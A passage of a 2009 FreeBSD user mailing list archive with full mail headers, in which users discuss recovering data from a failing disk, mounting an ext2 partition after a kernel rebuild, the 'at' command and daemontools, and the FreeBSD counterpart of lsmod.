advice given above. > I desperately > need to salvage the data, what do the kind people on this list > recommend? BACKUPS!!! =^_^= -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 20:40:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 00E851065695 for ; Mon, 24 Aug 2009 20:40:06 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id B445E8FC17 for ; Mon, 24 Aug 2009 20:40:05 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx02.qsc.de (Postfix) with ESMTP id A905B1DB55; Mon, 24 Aug 2009 22:40:04 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7OKe3um001922; Mon, 24 Aug 2009 22:40:04 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Mon, 24 Aug 2009 22:40:03 +0200 From: Polytropon To: Tim Judd Message-Id: <20090824224003.0b5ac2df.freebsd@edvax.de> In-Reply-To: References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Kelly Martin , FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 20:40:06 -0000 On Mon, 24 Aug 2009 14:13:22 -0600, Tim Judd wrote: > If I were you, get a copy of spinrite (from grc.com) and always keep > it handy. It can be risky on a drive already failing. Here's what > I'd do.... > > Buy spinrite, no matter what. Is it really such a good tool? From my own problems, I researched that common recovery tools are "R-Studio" and "UFS Explorer". Both do not natively run on BSD, but the first one offers a bootable CD. Without buying, you can run the diagnostics mode fullwise. For recovery, you need to buy the program. The "Spinrite" web page reads as follows: The industry's #1 hard drive data recovery software is NOW COMPATIBLE with NTFS, FAT, Linux, and ALL OTHER file systems! What? Linux and other file systems? Is this just marketing, in order to look good to the not very educated ones? Or do they not know what they're talking about? In fact, I will keep an eye on this program. Maybe it can help me get my data back (inode defect of $HOME entry). I'm reading their web page some more right now. > slave the bad drive, read-only mount.. even if the FS is dirty, > read-only.. no fsck. You can at least do one fsck run without any modification options, like a "read only file system check". This of course can - like any read operation on the disk - be risky if the disk is fast degrading, simply by using it. -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 20:45:22 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 781DE106568D for ; Mon, 24 Aug 2009 20:45:22 +0000 (UTC) (envelope-from jalmberg@identry.com) Received: from smtp-gw30.mailanyone.net (smtp-gw30.mailanyone.net [208.70.128.56]) by mx1.freebsd.org (Postfix) with ESMTP id 443AF8FC08 for ; Mon, 24 Aug 2009 20:45:22 +0000 (UTC) Received: from mailanyone.net by smtp-gw30.mailanyone.net with esmtpa (MailAnyone extSMTP jalmberg@identry.com) id 1MfgPm-0007ij-AB for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 15:45:21 -0500 Mime-Version: 1.0 (Apple Message framework v753.1) Content-Transfer-Encoding: 7bit Message-Id: <87C694DA-8C7F-4DC2-A1B4-6C38542D14D9@identry.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: freebsd-questions@freebsd.org From: John Almberg Date: Mon, 24 Aug 2009 16:45:16 -0400 X-Mailer: Apple Mail (2.753.1) Subject: Newbie discovers two useful apps... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 20:45:22 -0000 Even after a year or so of administering a number of FreeBSD servers, I still consider myself to be a newbie (see my various posts for evidence of this fact!) I've been hoping to have something useful to contribute back, and I suddenly realized there are probably newbies that are even newbier than I. Hard to believe, but true! You pros can flip to the next post, there's nothing here for you, but my fellow newbies may find this interesting... Anyway, this weekend I 'discovered' two VERY useful utilities: 1. The 'at' command: http://tinyurl.com/nzz5a9 I don't know about you, but I am constantly promising clients that something will happen at an odd hour of the day or night. A typical example is someone who wants some promotion to end at 7:30 am. Accomplishing this is pretty simple, but has required me to log into the server to manually execute some command, or write some tiny script and have it execute by cron in some tortured way. Super inconvenient, or a waste of time, or worse (if you forget). But this weekend I discovered the 'at' command. The man page gives you the details, but basically it allows you to say "execute that command or set of commands at this time on this day". You can set up the 'at' command to do what you need to do at 2am on Tuesday and forget it. No more setting alarms or forgetting. And it's dead easy to set up. I can't believe I haven't found this sooner. Fantastic. 2. DJB Daemontools: http://thedjbway.org/daemontools.html Lots of programs that are meant to run as daemons come packaged with a nice rc.d script. You just configure them in /etc/rc.d and they come up automatically when you reboot. But not all, and frankly I have never had time to figure out how to write a rc.d script. I really, really needed to get a linux-oriented daemon to work this weekend -- rubycas-server, if you are interested. But it doesn't have an rc.d script. Bummer. However, I run tinydns as my dns server, and that program doesn't use rc.d scripts, either. DJB has his own way of doing things, apparently. The standard way to install tinydns has you install another DJB product called daemontools. Daemontools is good for, well, getting daemons to run at boot time, in a fairly platform independent way (UNIX only, of course). Anyway, I dimly remembered this and dug into the DJB docs. Some will wonder why I found it easier to read a DJB doc than to read how to write a rc.d script... An excellent question, but in 5 minutes, I had my rubycas-server running under daemontools. It is that easy. I still don't know how to write an rc.d script, but I have to believe it would take me more than 5 minutes to learn and write. If you have daemons running, that you started manually from the command line, and are just hoping you'll remember to re-start them the next time you reboot, you should really check out daemontools... Much better than putting a reminder in your MOD (Me??? I would never do that!!!) -- John From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 20:51:42 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7AE41106568C for ; Mon, 24 Aug 2009 20:51:42 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from mail-yw0-f202.google.com (mail-yw0-f202.google.com [209.85.211.202]) by mx1.freebsd.org (Postfix) with ESMTP id 32DE38FC1F for ; Mon, 24 Aug 2009 20:51:41 +0000 (UTC) Received: by ywh40 with SMTP id 40so3818728ywh.14 for ; Mon, 24 Aug 2009 13:51:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=LYHWp/iOJM0DiwV3udXmYtM749OakQ2m72hxw32CUFo=; b=mwWFk1QXuVoBT98FJqSnxuQB5rYGb9Mn7dySMASSu5Xa6y1Y7VCZBSawyCt/LQLA17 ULl8EqxFmCAI33cSM6N5Tf6vwSXeZhDbtlhdHwlMfp5IjN6KL+OMNSOnsf/fyQZb7YIr dsb2rWlszf2X0nYzNGRCXS7yjgOG6hj/mxXLY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=r8oI88YACRs966ytBxrPsBVS80s7Fnx3jA/zfjYQXKeetw427bgr84BtUPE8+7+uIG iz0MjUmWxw0phPjwU3BgRK9ZGGF/3bmfhMDMEZl1XZcyl/Sqbre9StwriE/YM5NYq2I9 0SiXCv8FLIur1KQc6d+pGvMK9bXR8Ar3tFQMY= MIME-Version: 1.0 Received: by 10.101.183.1 with SMTP id k1mr5336897anp.18.1251147101415; Mon, 24 Aug 2009 13:51:41 -0700 (PDT) In-Reply-To: <20090824224003.0b5ac2df.freebsd@edvax.de> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824224003.0b5ac2df.freebsd@edvax.de> Date: Mon, 24 Aug 2009 14:51:41 -0600 Message-ID: From: Tim Judd To: Polytropon Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: Kelly Martin , FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 20:51:42 -0000 On 8/24/09, Polytropon wrote: > On Mon, 24 Aug 2009 14:13:22 -0600, Tim Judd wrote: >> If I were you, get a copy of spinrite (from grc.com) and always keep >> it handy. It can be risky on a drive already failing. Here's what >> I'd do.... >> >> Buy spinrite, no matter what. > > Is it really such a good tool? From my own problems, I researched > that common recovery tools are "R-Studio" and "UFS Explorer". Both > do not natively run on BSD, but the first one offers a bootable > CD. Without buying, you can run the diagnostics mode fullwise. > For recovery, you need to buy the program. > > The "Spinrite" web page reads as follows: > > The industry's #1 hard drive data recovery > software is NOW COMPATIBLE with NTFS, > FAT, Linux, and ALL OTHER file systems! It's OS/FS independent. it works on the bits stored on the magnetic platters, NOT on a filesystem. TiVo, Linux, BSD and Mac OSX drives are treated the same. Bits on a magnetic platter. It's recovery stems from the randomization and movement of the head to the sector in question that allows it to salvage any bits it can (for example, other recovery will abandon 512bytes if 1 bit cannot be read. spinrite will recover 512bytes-1bit to a hard drive's spare sector once spinrite says "i'm done working with this sector".) It leads to a very successful rate. > > What? Linux and other file systems? > > Is this just marketing, in order to look good to the not very > educated ones? Or do they not know what they're talking about? > > In fact, I will keep an eye on this program. Maybe it can help me > get my data back (inode defect of $HOME entry). I'm reading their > web page some more right now. > Again, works on the bits. if it's a bit problem, it will do it's best to fix the problem, unless it's a hardware defect and cannot be relocated. If enough sectors are relocated, and the drive has run out of spare sectors, it's time to scrap the drive anyway. > >> slave the bad drive, read-only mount.. even if the FS is dirty, >> read-only.. no fsck. > > You can at least do one fsck run without any modification options, > like a "read only file system check". This of course can - like > any read operation on the disk - be risky if the disk is fast > degrading, simply by using it. which is why i recommend against making changes to the disk until a spinrite has completed. Personally, I setup a spinrite to be net-bootable (not officially supported). I can write a walkthrough to people who want to net-boot it. I won't provide spinrite, of course. I currently netboot: FreeBSD memtest86 spinrite with no changes to my setup any time I want to boot anything. > > -- > Polytropon > Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 20:53:27 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 36983106568E for ; Mon, 24 Aug 2009 20:53:27 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id A678B8FC08 for ; Mon, 24 Aug 2009 20:53:26 +0000 (UTC) Received: by bwz2 with SMTP id 2so1599661bwz.43 for ; Mon, 24 Aug 2009 13:53:25 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=I/UxethQzL+9taHncgG1DIHxsBtrnhleyxudkrZ/63c=; b=r2XYnHk0RcKzr3y1liVl3RwMuFTCUMZnsn91nsrDCIvNUBy4Ubof0FXaA74cYr8AIi cD9z7pkymlU5Up1e+j+vrCfmQ630NkZz5c0fFWxZ5PT7T/nSFE9FcQMqrsB0r1vb7HJb fsM6t7lfcj3rukapNWH8AngrbIIua7rkAUGBs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=l01cUQfw9lAiZE3M4edW8l4Z0e7d3l0tK++avKv8VdIRW55TjTwk51FRQfrFlAeWtj DoQ6iSCSApY8/CxAY8ps2CvHVSZ1tecHAqC7Z2UfxelN8bf/U6qHqxYW0uiNzisrQBzs FU4TJcAPX9S4wN0l6l8jEgu7ncJS5QC6v5vmA= MIME-Version: 1.0 Received: by 10.103.50.22 with SMTP id c22mr2148045muk.54.1251145229619; Mon, 24 Aug 2009 13:20:29 -0700 (PDT) Date: Mon, 24 Aug 2009 20:20:29 +0000 Message-ID: From: Jeronimo Calvo To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 20:53:27 -0000 Hi folks, im migrating from Linux to BSD, and i found my first problem... First of all, i did save my /home from my old Linux distribution on another HD, ext2fs partition /dev/ad6s1... I can correctly see the drive from sysinstall. I read about compiling the KERNEL in order to add Ext2fs support under Freebsd, wich I did... Adding the line: Quote: options EXT2FS looking like this: Quote: options KBD_INSTALL_CDEV # install a CDEV entry in /dev options ADAPTIVE_GIANT # Giant mutex is adaptive. options STOP_NMI # Stop CPUS using NMI instead of IPI options AUDIT # Security event auditing #options KDTRACE_FRAME # Ensure frames are compiled in *options EXT2FS* #options KDTRACE_HOOKS # Kernel DTrace hooks After this i recompiled the kernel and installed... Quote: # uname -a FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC 2009 iscariote@:/usr/obj/usr/src/sys/MYKERNEL amd64 Well... everything should be ready now to mount my ext2fs partition... Using the following command... Quote: # mount /dev/ad8s1a on / (ufs, local) devfs on /dev (devfs, local) /dev/ad8s1e on /tmp (ufs, local, soft-updates) /dev/ad8s1f on /usr (ufs, local, soft-updates) /dev/ad8s1d on /var (ufs, local, soft-updates) /dev/ntfs/DATOSWIN on /media/DATOSWIN (ntfs, local, nosuid) # mount -t extfs2 /dev/ad6s1 /ext2 mount: /dev/ad6s1 : Operation not supported by device I tried several times, with not luck, one of those times i was able to mount it, but not to access it, when i tried to cd /ext2 (folder when is mounted) system tells me that ext2 is not a folder... any ideas??? Thanks in advance!! From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 20:58:43 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B9E9F106568E for ; Mon, 24 Aug 2009 20:58:43 +0000 (UTC) (envelope-from corky1951@comcast.net) Received: from QMTA01.emeryville.ca.mail.comcast.net (qmta01.emeryville.ca.mail.comcast.net [76.96.30.16]) by mx1.freebsd.org (Postfix) with ESMTP id 19D968FC0C for ; Mon, 24 Aug 2009 20:58:42 +0000 (UTC) Received: from OMTA03.emeryville.ca.mail.comcast.net ([76.96.30.27]) by QMTA01.emeryville.ca.mail.comcast.net with comcast id YJ3m1c00i0b6N64A1Lye9V; Mon, 24 Aug 2009 20:58:38 +0000 Received: from comcast.net ([98.203.142.76]) by OMTA03.emeryville.ca.mail.comcast.net with comcast id YLyh1c0031f6R9u8PLyhCn; Mon, 24 Aug 2009 20:58:42 +0000 Received: by comcast.net (sSMTP sendmail emulation); Mon, 24 Aug 2009 13:58:39 -0700 Date: Mon, 24 Aug 2009 13:58:39 -0700 From: Charlie Kester To: freebsd-questions@freebsd.org Message-ID: <20090824205839.GB28580@comcast.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <20090824152932.0780db11@scorpio.seibercom.net> <20090824193309.GI77498@dan.emsphone.com> <4A92EDA6.2020809@lemonia.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Disposition: inline In-Reply-To: <4A92EDA6.2020809@lemonia.org> X-Mailer: Mutt 1.5.20 X-Composer: VIM 7.2 User-Agent: Mutt/1.5.20 (2009-06-14) Subject: Re: Equivilant of 'lsmod' X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 20:58:43 -0000 On Mon 24 Aug 2009 at 12:44:38 PDT Dunc wrote: >Dan Nelson wrote: >> In the last episode (Aug 24), Jerry said: >>> What is the equivalent of the Linux 'lsmod' command in FreeBSD? >> >> Remember to actually describe what you want, rather than just giving the >> linux command. To list the loaded kernel modules, run kldstat. >> > >I think he wanted to know what the equivalent of the Linux 'lsmod' >command is. Is kldstat 100% semantically congruent with lsmod? I.e., are there things you can do with lsmod that you can't with kldstat? A quick comparison of the manpages will probably give the answer, but it will save everyone some time if the OP explains what he wants to do that he would have used lsmod for if this were Linux. Besides, not everyone here is familiar with Linux and not everyone wants to spend any time learning it. Just giving the Linux command for something means you're unnecessarily narrowing down the number of people who can give you an answer. From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 21:07:53 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F36F9106568C for ; Mon, 24 Aug 2009 21:07:52 +0000 (UTC) (envelope-from archon@silvertree.org) Received: from arthur.silvertree.org (arthur.silvertree.org [173.11.101.153]) by mx1.freebsd.org (Postfix) with SMTP id 56FB98FC17 for ; Mon, 24 Aug 2009 21:07:52 +0000 (UTC) Received: (qmail 82651 invoked from network); 24 Aug 2009 14:07:50 -0700 Received: from webn1.ofoto.com (HELO ?192.168.62.44?) (66.128.224.196) by arthur.silvertree.org with SMTP; 24 Aug 2009 14:07:50 -0700 Message-Id: <680F4D9E-9C5B-4349-8E13-B34E6A358CC3@silvertree.org> From: Scott Schappell To: freebsd-questions@freebsd.org In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Mon, 24 Aug 2009 14:07:50 -0700 References: X-Mailer: Apple Mail (2.936) Subject: Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 21:07:53 -0000 Judging by your uname output, the #0 should be #1 if it's reading a re- compiled kernel. I would double check that you used the proper KERNCONF for make buildkernel and make installkernel. For example, I recompiled my kernel and note the output: [root@arthur /var/account]# uname -a FreeBSD arthur.silvertree.org 7.2-RELEASE-p3 FreeBSD 7.2-RELEASE-p3 #1: Fri Aug 14 13:27:47 PDT 2009 root@arthur.silvertree.org:/usr/ obj/usr/src/sys/ARTHUR i386 See the #1? That shows me that the kernel has been recompiled once. The fact it says "MYKERNEL" for the kernel config, make sure that you copied GENERIC to MYKERNEL in /usr/src/sys/i386/conf/ I used the handbook and actually put ARTHUR in /root/kernels and in / usr/src/sys/i386/conf: [root@arthur ~/kernels]# ls -la /usr/src/sys/i386/conf/ARTHUR lrwxr-xr-x 1 root wheel 20 Jul 29 07:57 /usr/src/sys/i386/conf/ ARTHUR -> /root/kernels/ARTHUR I'd suggest that you didn't compile the right kernel config file. Another suggestion I used was to add in /etc/make.conf: KERNCONF=ARTHUR So add "KERNCONF=MYKERNEL" then copy /usr/src/sys/i386/conf/GENERIC to /usr/src/sys/i386/conf/MYKERNEL then edit MYKERNEL as needed and with that line in /etc/make.conf: cd /usr/src && make buildkernel && make installkernel && shutdown -r now I may be off base, but I'd start with double checking the kernel config file used for buildkernel and installkernel. Scott On Aug 24, 2009, at 13:20:29, Jeronimo Calvo wrote: > Hi folks, im migrating from Linux to BSD, and i found my first > problem... > First of all, i did save my /home from my old Linux distribution on > another > HD, ext2fs partition /dev/ad6s1... I can correctly see the drive from > sysinstall. > > I read about compiling the KERNEL in order to add Ext2fs support under > Freebsd, wich I did... Adding the line: > > Quote: > options EXT2FS > looking like this: > > Quote: > options KBD_INSTALL_CDEV # install a CDEV entry in /dev > options ADAPTIVE_GIANT # Giant mutex is adaptive. > options STOP_NMI # Stop CPUS using NMI instead of IPI > options AUDIT # Security event auditing > #options KDTRACE_FRAME # Ensure frames are compiled in > *options EXT2FS* > #options KDTRACE_HOOKS # Kernel DTrace hooks > After this i recompiled the kernel and installed... > > Quote: > # uname -a > FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC > 2009 > iscariote@:/usr/obj/usr/src/sys/MYKERNEL amd64 > Well... everything should be ready now to mount my ext2fs > partition... Using > the following command... > > Quote: > # mount > /dev/ad8s1a on / (ufs, local) > devfs on /dev (devfs, local) > /dev/ad8s1e on /tmp (ufs, local, soft-updates) > /dev/ad8s1f on /usr (ufs, local, soft-updates) > /dev/ad8s1d on /var (ufs, local, soft-updates) > /dev/ntfs/DATOSWIN on /media/DATOSWIN (ntfs, local, nosuid) > # mount -t extfs2 /dev/ad6s1 /ext2 > mount: /dev/ad6s1 : Operation not supported by device > > I tried several times, with not luck, one of those times i was able > to mount > it, but not to access it, when i tried to cd /ext2 (folder when is > mounted) > system tells me that ext2 is not a folder... > > any ideas??? > > Thanks in advance!! > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org > " From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 21:22:21 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9C0D0106568B for ; Mon, 24 Aug 2009 21:22:21 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id 5DEE18FC19 for ; Mon, 24 Aug 2009 21:22:21 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx02.qsc.de (Postfix) with ESMTP id 9C8F71E3D3; Mon, 24 Aug 2009 23:22:20 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7OLMJXp002858; Mon, 24 Aug 2009 23:22:20 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Mon, 24 Aug 2009 23:22:19 +0200 From: Polytropon To: Jeronimo Calvo Message-Id: <20090824232219.a80ecd77.freebsd@edvax.de> In-Reply-To: References: Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 21:22:21 -0000 Maybe just malquoted, but... On Mon, 24 Aug 2009 20:20:29 +0000, Jeronimo Calvo wrote: > # mount -t extfs2 /dev/ad6s1 /ext2 > mount: /dev/ad6s1 : Operation not supported by device The command should include -t ext2fs, not extfs2, as far as I remember. I haven't run Linux for almost 10 years now... > I tried several times, with not luck, one of those times i was able to mount > it, but not to access it, when i tried to cd /ext2 (folder when is mounted) > system tells me that ext2 is not a folder... There are no "folders" in the UNIX file system hierarchy. The things you're mentioning are called directories. I know, that's "just" terminology, but it's important to use the correct words context-wise. You don't call the files "sheets of paper", do you? :-) -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 21:26:17 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 74F291065692 for ; Mon, 24 Aug 2009 21:26:17 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id 3222A8FC08 for ; Mon, 24 Aug 2009 21:26:17 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx02.qsc.de (Postfix) with ESMTP id F28A91E3CE; Mon, 24 Aug 2009 23:26:15 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7OLQE6P002865; Mon, 24 Aug 2009 23:26:15 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Mon, 24 Aug 2009 23:26:14 +0200 From: Polytropon To: Tim Judd Message-Id: <20090824232614.c3a2ca25.freebsd@edvax.de> In-Reply-To: References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824224003.0b5ac2df.freebsd@edvax.de> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Kelly Martin , FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 21:26:17 -0000 On Mon, 24 Aug 2009 14:51:41 -0600, Tim Judd wrote: > It's OS/FS independent. it works on the bits stored on the magnetic > platters, NOT on a filesystem. Ah, I see. So it's primarily intended for diagnosing and recovering from physically defective disks. Good to know, because there are times when you exactly need to do this. So it's much more "hardware oriented" than the usual candidates for recovery programs. So the strange mentioning of "Linux and other file systems" just seems to be of a marketing nature. :-) -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 21:32:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7EC8E106568C for ; Mon, 24 Aug 2009 21:32:06 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.241]) by mx1.freebsd.org (Postfix) with ESMTP id 38C3E8FC0A for ; Mon, 24 Aug 2009 21:32:06 +0000 (UTC) Received: by an-out-0708.google.com with SMTP id d14so879676and.13 for ; Mon, 24 Aug 2009 14:32:05 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=D6b14fhgWg0uhPEus4aYLL4naFH/rBY+TtBFD09WXks=; b=WC85cgDzlDV8URfb1Mvcfh/64lMYq+A8kEU4LOE8c3mN7DWvxevwA2bZyo6womIEHE PJ+wZx6AAribe/3oXex79SyNfWcSxfnxZnHuqglKIGFjg9AKgwsW7McE9GzcjpMxvEW+ OSyKoJIYj/hqIHfbfh+WYkhv5nvwx6Llwc4YM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=LiV5uqKiGrNLcl5IP6bGNJ93ux/LSUmfRdP75FPramuPL0WWVD0L+V+gVBGtWAqbc3 x8akCKUMi0s21ehhTHPYxVq4op+BSV5l6Dd5Mc2x6lCZfYofqFgwfKuji9WqSiNfdrBZ lEckmYfNcSv0bMrADyPekHiFfBpftHKcsDcpU= MIME-Version: 1.0 Received: by 10.101.50.17 with SMTP id c17mr5142410ank.125.1251149525529; Mon, 24 Aug 2009 14:32:05 -0700 (PDT) In-Reply-To: <20090824232614.c3a2ca25.freebsd@edvax.de> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824224003.0b5ac2df.freebsd@edvax.de> <20090824232614.c3a2ca25.freebsd@edvax.de> Date: Mon, 24 Aug 2009 15:32:05 -0600 Message-ID: From: Tim Judd To: Polytropon Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: Kelly Martin , FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 21:32:06 -0000 On 8/24/09, Polytropon wrote: > On Mon, 24 Aug 2009 14:51:41 -0600, Tim Judd wrote: >> It's OS/FS independent. it works on the bits stored on the magnetic >> platters, NOT 